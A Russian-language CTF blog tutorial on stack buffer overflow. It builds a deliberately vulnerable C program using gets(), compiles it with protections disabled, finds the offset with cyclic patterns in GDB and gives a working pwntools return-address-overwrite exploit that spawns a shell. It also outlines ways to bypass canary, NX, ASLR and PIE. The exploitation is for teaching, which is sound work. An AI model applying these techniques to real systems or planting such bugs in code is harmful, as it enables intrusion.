Главная / Блог / Buffer overflow для начинающих: от краша до shell

12 мин.00

Buffer overflow для начинающих: от краша до shell

Buffer overflow для начинающих: от краша до shell

На первом CTF я скормил бинарнику 200 символов «A», получил Segmentation fault — и завис. Четыре часа на pwn-задачу за 100 очков. Сокомандник подошёл, набрал ровно 76 байт мусора плюс четыре байта адреса — бинарник отдал shell. Вся разница между «таращусь в сегфолт» и «забираю флаг» — в понимании одной структуры данных: стека вызовов. Ниже — сквозной разбор переполнения буфера для начинающих: один C-файл, один терминал с GDB, один скрипт на pwntools, работающий return address overwrite на выходе. Без пропуска шагов и без магических чисел.

Как устроен стек и зачем атакующему адрес возврата

Стек — область оперативной памяти, которая работает как стопка подносов: последний положенный снимается первым (LIFO). Процессор лезет в стек при каждом вызове функции. Разберём, что именно ложится на стек, когда main() вызывает vuln(). Подробнее — в нашем руководстве по бинарный анализ уязвимостей.

Порядок записи (от старших адресов к младшим):

  • Аргументы функции — данные, переданные при вызове (если есть).
  • Return address (адрес возврата) — адрес инструкции в main(), куда процессор вернётся по завершении vuln(). Инструкция call vuln сохраняет его автоматически. Это ключевая мишень при переполнении буфера.
  • Saved EBP — значение регистра EBP (base pointer) вызывающей функции. Нужен для восстановления стекового кадра main() после возврата.
  • Локальные переменные — буферы, счётчики, всё объявленное внутри функции. В нашем случае — char buf[64].

В архитектуре x86 стек растёт вниз (от старших адресов к младшим), а данные внутри буфера записываются вверх (от младших к старшим). Если gets() запишет в buf больше 64 байт, лишние байты поползут вверх по адресам и последовательно затрут saved EBP, а затем — return address. Это и есть stack smashing — переполнение стека, при котором повреждаются служебные данные кадра.

Стековый кадр функции vuln() с буфером на 64 байта в 32-битной системе:

Адрес (условный) Содержимое Размер
0xffffd200 buf[0..63] — пользовательский буфер 64 байта
0xffffd240 Saved EBP 4 байта
0xffffd244 Return address — цель атакующего 4 байта
0xffffd248 Данные вызывающей функции ...

Когда vuln() доходит до инструкции ret, процессор берёт четырёхбайтовое значение на позиции return address и прыгает по нему. В штатном режиме там адрес следующей инструкции main(). Но если мы затёрли это место адресом функции win(), которая вызывает system("/bin/sh"), процессор послушно прыгнет в win() и запустит shell.

В терминах MITRE ATT&CK подмена потока управления через повреждённые входные данные ближе всего к технике Exploitation for Client Execution (T1203, Execution), хотя T1203 описывает эксплуатацию клиентского ПО удалённым контентом, а не локальный PoC. Запуск команд после получения shell маппится на Unix Shell (T1059.004, Execution). Если скомпрометированный бинарник работает от root (например, через SUID), ситуация перерастает в Exploitation for Privilege Escalation (T1068, Privilege Escalation). Техника T1068 описана MITRE как кроссплатформенная, однако публичные тесты Atomic Red Team сейчас существуют только для Windows — маппинг на Linux-сценарий с SUID-бинарником здесь иллюстративный.

Инструменты pwn для начинающих: GDB, pwntools, checksec

Чтобы воспроизвести все шаги, хватит четырёх бесплатных инструментов в Ubuntu или Kali Linux.

GDB + pwndbg. Голый GDB показывает hex-адреса и ничего не подсвечивает — работать можно, но больно. Расширение pwndbg после каждой остановки рисует регистры, стек и дизассемблированный код в одном окне, а перезаписанный EIP подсвечивает красным. Ставится одной командой: git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh. После этого при запуске gdb ./vuln расширение подключается автоматически. Альтернатива — GEF, разница косметическая; я привык к pwndbg.

pwntools. Python-фреймворк, который закрывает всю рутину при написании эксплойтов: генерирует De Bruijn-паттерны для поиска offset, пакует адреса в little-endian через p32()/p64(), запускает процесс и общается с ним через sendline()/recv(). Установка: pip install 'pwntools>=4.3.1' (в версиях до 4.3.1 — уязвимость SSTI, CVE-2020-28468, CVSS 8.1 HIGH; не ставьте старьё). Вся работа идёт через from pwn import *.

checksec. Утилита для проверки защит бинарника: stack canary, NX, PIE, RELRO. Входит в pwntools — доступна через ELF('./binary').checksec(). Можно и отдельно: checksec --file=./binary. Одна секунда — и ясно, с чем предстоит бороться.

gcc. Компилятор для сборки учебного бинарника с отключёнными защитами. Нужны специфические флаги — подробно ниже.

Уязвимый бинарник: компиляция и проверка защит

Пишем минимальную программу с двумя функциями. vuln() читает пользовательский ввод через gets() — без проверки длины (классика жанра). win() вызывает shell. В реальных CTF-задачах win() присутствует в коде, но не вызывается из нормального потока выполнения — добраться до неё можно только через эксплуатацию уязвимости:

#include <stdio.h>
#include <stdlib.h>
void win() { system("/bin/sh"); }
void vuln() {
    char buf[64];
    gets(buf);
    printf("Input: %s\n", buf);
}
int main() { vuln(); return 0; }

Устанавливаем зависимости для 32-битной сборки: sudo apt install gcc-multilib libc6-dev-i386 (Ubuntu/Debian). Затем компилируем 32-битный бинарник с отключёнными защитами командой gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c. Разберём каждый флаг — на CTF нужно понимать, что именно выключено:

-m32 — 32-битная сборка. Адреса четырёхбайтовые, регистров меньше, анализ бинарников для эксплуатации значительно нагляднее.

-fno-stack-protector — отключает stack canary. Без этого флага компилятор вставит между буфером и return address случайное значение (канарейку). Если оно изменится при переполнении, программа вызовет __stack_chk_fail() и упадёт с сообщением «stack smashing detected» ещё до ret. Канарейка — простая, но неприятная штука.

-z execstack — разрешает выполнение кода на стеке (отключает NX bit). В нашем примере мы не кладём shellcode, а перезаписываем return address на существующую функцию — но флаг полезен для дальнейших экспериментов.

-no-pie — отключает PIE (Position Independent Executable). Без этого флага адреса функций рандомизируются при каждом запуске, и адрес win() невозможно зашить в payload.

Дополнительно отключаем ASLR на уровне системы: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space. ASLR рандомизирует базовые адреса стека, кучи и библиотек. Без его отключения адреса будут плавать между запусками.

Проверяем результат: checksec --file=./vuln. Ожидаемый вывод: Stack — No canary found, NX — NX disabled, PIE — No PIE, RELRO — Partial RELRO. Если хоть одно значение не совпадает — перекомпилируйте с правильными флагами. Первая команда при анализе любого pwn-таска на CTF — всегда checksec.

Находим смещение до return address: cyclic-паттерн и GDB

Буфер — 64 байта. Наивный расчёт offset: 64 (буфер) + 4 (saved EBP) = 68 байт. Но компилятор добавляет alignment padding для выравнивания стека, и реальный offset может отличаться. Считать вручную — путь к разочарованию. Используем De Bruijn-паттерн.

Принцип. pwntools генерирует строку, в которой каждая четырёхбайтная подстрока уникальна: aaaabaaacaaadaaa.... Когда строка переполняет буфер и перезаписывает return address, процессор пытается прыгнуть по «адресу», составленному из четырёх букв паттерна. По этим буквам вычисляется точное смещение.

Шаг 1 — генерируем паттерн. Выполняем python3 -c "from pwn import *; print(cyclic(200).decode())" и копируем вывод — строку длиной 200 символов. Длина 200 — с запасом: хватит, чтобы гарантированно перезаписать return address даже с непредвиденным padding.

Шаг 2 — запускаем бинарник в GDB. Набираем gdb ./vuln, затем run. Программа ждёт ввода — вставляем скопированный паттерн и жмём Enter. Бинарник падает с Segmentation fault.

Шаг 3 — читаем регистр EIP. После краша pwndbg покажет состояние всех регистров. Нас интересует EIP (instruction pointer) — в нём лежит значение, которое процессор попытался использовать как адрес перехода. Допустим, EIP = 0x6161616c. Это четыре ASCII-символа из нашего паттерна в формате little-endian.

Шаг 4 — вычисляем offset. В Python-консоли выполняем from pwn import *; print(cyclic_find(0x6161616c)). Результат — например, 76. Это значит: первые 76 байт ввода заполняют буфер + padding + saved EBP, а байты с 77-го по 80-й ложатся точно на позицию return address.

Альтернативный путь без выхода из GDB: в pwndbg набираем cyclic 200, копируем паттерн, запускаем run, вставляем паттерн, а после краша — cyclic -l $eip. Pwndbg подставит значение регистра и выдаст offset.

Почему 76, а не 68? gcc по умолчанию выравнивает стек на 16-байтную границу (-mpreferred-stack-boundary=4, то есть 2^4 = 16). Из-за выравнивания между buf[64] и saved EBP появляется дополнительный padding — 8 байт. Итого: 64 (буфер) + 8 (padding) + 4 (saved EBP) = 76 байт. Если добавить флаг -mpreferred-stack-boundary=2, padding исчезнет и offset станет 68. Но в CTF-задачах выравнивание контролирует автор задания — не вычисляйте offset вручную, используйте cyclic каждый раз.

Эксплойт на pwntools: return address overwrite

Для payload нужен адрес функции win(). Находим его через objdump -d vuln | grep win — в выводе будет строка вида 08049196 <win>:. Запоминаем адрес 0x08049196 (у вас значение будет другим — зависит от версии gcc и окружения).

Собираем эксплойт — пять строк логики в пересчёте на переполнение буфера эксплуатацию:

from pwn import *

p = process('./vuln')
offset = 76
win_addr = 0x08049196

payload = b'A' * offset + p32(win_addr)
p.sendline(payload)
p.interactive()

Построчный разбор. process('./vuln') запускает бинарник как дочерний процесс. b'A' * offset создаёт 76 байт мусора — они заполнят буфер, padding и saved EBP. p32(win_addr) конвертирует адрес win() в четыре байта little-endian: 0x08049196 становится \x96\x91\x04\x08. Вот тут внимание — x86 хранит младший байт первым, и если собирать адрес руками, легко накосячить с порядком. sendline() отправляет payload в stdin бинарника с символом \n в конце. interactive() переключает терминал в интерактивный режим.

Запускаем python3 exploit.py. Если offset и адрес правильные — после строки «Input: AAA...» появляется приглашение $. Набираем whoami и видим имя пользователя. Переполнение стека CTF в чистом виде: мы перехватили return address и заставили программу вызвать функцию, которая не выполняется в нормальном потоке кода.

Для удалённой CTF-задачи вместо process('./vuln') пишем remote('ctf.example.com', 1337) — pwntools подключится по TCP. Весь остальной код остаётся без изменений.

Что произошло на уровне стека

Разложим по шагам то, что случилось внутри процесса:

  1. gets() прочитала весь payload целиком — 80 байт (76 мусора + 4 адреса). Никакой проверки длины.
  2. Первые 64 байта заполнили buf[64] символами «A» (0x41).
  3. Следующие 8 байт затёрли alignment padding, добавленный gcc.
  4. Следующие 4 байта (0x41414141) перезаписали saved EBP — main() при возврате сломается, но нам уже всё равно.
  5. Последние 4 байта (\x96\x91\x04\x08) легли точно на позицию return address.
  6. Инструкция ret в vuln() сняла со стека наши четыре байта и передала управление по адресу 0x08049196.
  7. Процессор начал выполнять win(), которая вызвала system("/bin/sh") — мы получили shell.

Этот приём — return address overwrite — базовая техника эксплуатации уязвимостей бинарных файлов. Всё, что сложнее (ROP, ret2libc, heap exploitation), надстраивается над тем же принципом: контроль данных на стеке = контроль потока выполнения.

Защиты стека: canary, NX, ASLR и способы обхода

В учебном примере мы отключили все защиты намеренно. В реальных CTF-задачах включены одна или несколько — и каждая меняет подход к эксплуатации.

Stack canary (канарейка). Случайное 4/8-байтовое значение между локальными переменными и saved EBP. Перед ret функция проверяет: canary изменилось — вызывается __stack_chk_fail(), программа завершается. Обход: утечка canary через format string vulnerability. По данным разбора задачи My Little Pwny (MetaCTF), формат %19$p в уязвимом printf(buf) позволяет прочитать значение canary прямо со стека. После утечки значение вставляется в payload на нужную позицию — проверка проходит.

NX bit (No eXecute) / DEP. Запрещает процессору исполнять инструкции из стековой памяти. Shellcode-инъекция не пройдёт: положить машинный код в буфер и прыгнуть на него не выйдет — процессор выбросит исключение. Обход: ret2libc — перезаписать return address адресом system() из libc и передать строку /bin/sh как аргумент. Более гибкий вариант — ROP (Return-Oriented Programming): цепочка коротких фрагментов существующего кода (гаджетов), каждый из которых заканчивается инструкцией ret. Гаджеты ищутся через ROPgadget --binary ./vuln или средствами pwntools: ROP(ELF('./vuln')).

ASLR (Address Space Layout Randomization). Рандомизирует базовые адреса стека, кучи и подключённых библиотек при каждом запуске. Адрес system() в libc каждый раз другой — зашить в payload нельзя. Обход ASLR: утечка адреса из GOT (Global Offset Table) через ROP-цепочку. Типичный паттерн: цепочка вызывает puts(puts@got), из утекшего значения вычисляется libc base (утечка минус libc.symbols['puts']), а от базы считаются адреса system() и строки /bin/sh.

PIE (Position Independent Executable). Рандомизирует адреса самого бинарника, не только библиотек. Адрес win() плавает. Обход: утечка адреса из секции .text через format string (например, %6$p, как описано в разборе MetaCTF) и вычисление базы бинарника по известному смещению.

Типичная прогрессия CTF-задач по переполнению стека: без защит (наш пример) → NX включён (нужен ret2libc или ROP) → NX + ASLR (нужна утечка адреса libc) → все защиты включены, включая canary и PIE (нужна format string для утечки canary и базы бинарника). Каждый уровень надстраивается над предыдущим.

Типичные ошибки на первых pwn-задачах

Забыли отключить ASLR. Адреса плавают — эксплойт срабатывает через раз. Проверяйте: cat /proc/sys/kernel/randomize_va_space. Значение не 0 — выполните echo 0 | sudo tee /proc/sys/kernel/randomize_va_space.

Считают offset вручную вместо cyclic. Компилятор добавляет выравнивание, и ручной расчёт «размер буфера + 4 байта EBP» не сходится. De Bruijn-паттерн генерируется за десять секунд и даёт точный результат — независимо от alignment.

Путаница с порядком байтов. Адрес 0x08049196 записывается как \x96\x91\x04\x08, а не \x08\x04\x91\x96. Little-endian: младший байт идёт первым. p32() из pwntools делает конвертацию автоматически — не собирайте байты руками, наделаете ошибок.

Бинарник 64-бит, а эксплойт рассчитан на 32. В 64-битных бинарниках адреса восьмибайтовые (используйте p64() вместо p32()). Первые шесть аргументов передаются через регистры (rdi, rsi, rdx, rcx, r8, r9), а не через стек — это принципиально меняет и offset, и структуру ROP-цепочки.

Пропустили checksec. Эксплойт с прямой перезаписью return address не работает при включённом canary. Правило: checksec --file=./binary — первая команда на любой pwn-задаче. Одна секунда, которая экономит час слепой отладки.

Не проверили наличие win(). Не все задачи содержат готовую win-функцию. Если её нет — shell собирается через ROP-цепочку или shellcode-инъекцию. Проверка: objdump -d vuln | grep -i win или nm vuln | grep win. Нет результата — переходите к анализу libc и построению ROP.

Переполнение буфера — одна из старейших уязвимостей: первый масштабный случай эксплуатации относится к червю Морриса 1988 года. CWE-121 (Stack-based Buffer Overflow) до сих пор в списке самых распространённых слабостей по классификации MITRE CWE. Защитных механизмов за десятилетия наросло — а разработчики продолжают использовать gets(), strcpy() и sprintf() без проверки длины ввода. И эксплуатация уязвимостей этого класса работает.

Есть позиция, которую защищаю не первый год: большинство застревающих на pwn застревают не из-за сложности техники, а из-за отсутствия системности. Читают чужие writeup'ы вместо того, чтобы самим пройти путь от сегфолта до shell. Writeup показывает финальный payload в десять строк, но не показывает два часа в GDB, которые к нему привели. А навык формируется именно за эти два часа — когда сам набираешь cyclic -l, сам сдвигаешь offset на четвёрку и перезапускаешь. Я видел ребят, которые за год «прочитали» сто writeup'ов и не могут решить pwn-задачу без подсказки — и тех, кто за пару месяцев продрался через двадцать задач сам и уверенно берёт 200-очковые. Разница не в таланте, а в количестве собственных сессий с отладчиком. ROP, heap, format string — надстройки. Фундамент — привычка разбирать каждый байт стека, пока не станет ясно, куда он лёг и почему. Если хочешь пройти этот фундамент не вслепую по случайным туториалам — IB Basics построен именно для такого старта: от сетей до первых практических задач, без академического тона.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Pwntools для начинающих: первый эксплойт для CTF

12 мин.

4

Pwntools для начинающих: первый эксплойт для CTF

Пошаговый разбор pwntools: установка, cyclic-паттерны, p64, GDB-интеграция. Пишем buffer overflow эксплойт за 8 строк Python с объяснением каждой строки.

17 СЕНТЯБРЬ, 2026

Race condition эксплуатация в CTF на практике

11 мин.

6

Race condition эксплуатация в CTF на практике

Разбор 3 типов race condition с эксплуатацией в Burp Suite и Turbo Intruder. Single-packet attack, TOCTOU-паттерны и реальные CVE — практика для CTF-игроков.

16 СЕНТЯБРЬ, 2026

Уязвимости JWT токенов в CTF: от alg none до RCE

13 мин.

9

Уязвимости JWT токенов в CTF: от alg none до RCE

Пошаговые PoC для 7 атак на JWT: alg none, brute force, algorithm confusion, kid injection. Команды jwt_tool и hashcat для решения CTF-задач.

16 СЕНТЯБРЬ, 2026